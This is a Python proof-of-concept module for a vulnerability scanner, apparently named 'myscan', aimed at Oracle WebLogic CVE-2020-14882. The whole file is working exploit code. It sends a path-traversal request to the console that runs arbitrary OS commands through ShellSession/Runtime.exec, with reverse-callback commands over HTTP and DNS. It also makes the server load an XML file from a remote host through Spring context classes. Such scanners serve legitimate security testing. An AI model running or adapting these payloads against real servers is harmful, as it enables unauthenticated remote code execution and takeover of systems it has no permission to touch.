# !/usr/bin/env python3
# @Time    : 2020/10/28
# @Author  : caicai
# @File    : poc_weblogic_cve-2020-14882_2020.py


from myscan.lib.parse.dictdata_parser import dictdata_parser
from myscan.lib.parse.response_parser import response_parser
from myscan.lib.helper.request import request  # 修改了requests.request请求的库，建议使用此库，会在redis计数
from myscan.config import scan_set
from urllib import parse
from myscan.lib.core.common import get_random_str
from myscan.lib.core.common_reverse import generate_reverse_payloads, query_reverse, generate
from myscan.lib.core.threads import mythread
from myscan.lib.core.data import cmd_line_options


class POC():
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        self.url = workdata.get("data")  # self.url为需要测试的url，值为目录url，会以/结尾,如https://www.baidu.com/home/ ,为目录
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "weblogic cve-2020-14882"
        self.vulmsg = "link:https://github.com//jas502n//CVE-2020-14882"
        self.level = 3  # 0:Low  1:Medium 2:High
        self.poc1_success = False

    def verify(self):
        # 根据config.py 配置的深度，限定一下目录深度
        if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
            return
        mythread(self.poc1, self.get_cmds(), cmd_line_options.threads)
        self.poc2()

    def get_cmds(self):
        datas = []
        for method in ["http", "dns"]:
            random_str = get_random_str(8)
            cmds_, hexdata_ = generate_reverse_payloads(random_str, method)
            for cmd in cmds_:
                datas.append((cmd, hexdata_))
        return datas

    def poc1(self, data):
        cmd, hexdata = data
        payload = '''?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27{}%27);%22);'''
        req = {
            "method": "POST",
            "url": self.url + '''console/images/%252E%252E%252Fconsole.portal''',
            "data": payload.format(
                parse.quote(cmd)),
            "headers": {
                "Content-Type": "application/x-www-form-urlencoded",
                "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169"
            },
            "allow_redirects": False,
            "timeout": 10,
            "verify": False,
        }
        r = request(**req)
        if not self.poc1_success:
            res, _ = query_reverse(hexdata)
            if res:
                parser = response_parser(r) if r is not None else dictdata_parser(self.dictdata)
                if not self.poc1_success:
                    self.poc1_success = True
                    self.result.append({
                        "name": self.name,
                        "url": self.dictdata.get("url").get("url").split("?")[0] if r is None else r.url,
                        "level": self.level,  # 0:Low  1:Medium 2:High
                        "detail": {
                            "vulmsg": self.vulmsg,
                            "others": "first way to find :{} in reverse".format(hexdata),
                            "payload": payload,
                            "request": parser.getrequestraw(),
                            "response": parser.getresponseraw()
                        }
                    })

    def poc2(self):
        ''''
        from: https://github.com//jas502n//CVE-2020-14882
        '''

        for postdata in [
            '''_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("{}")''',
            '''_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("{}")'''
        ]:
            random_file = get_random_str(9).lower() + ".xml"
            url, hexdata = generate(random_file, "http2")
            req = {
                "method": "POST",
                "url": self.url + '''console/images/%252E%252E%252Fconsole.portal''',
                "data": postdata.format(
                    url),
                "headers": {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169"
                },
                "allow_redirects": False,
                "timeout": 10,
                "verify": False,
            }
            r = request(**req)
            res, _ = query_reverse(hexdata)
            if res:
                parser = response_parser(r) if r is not None else dictdata_parser(self.dictdata)
                self.result.append({
                    "name": self.name,
                    "url": self.dictdata.get("url").get("url").split("?")[0] if r is None else r.url,
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "others": "second way to find :{} in reverse".format(hexdata),
                        "payload:": postdata,
                        "request": parser.getrequestraw(),
                        "response": parser.getresponseraw()
                    }
                })
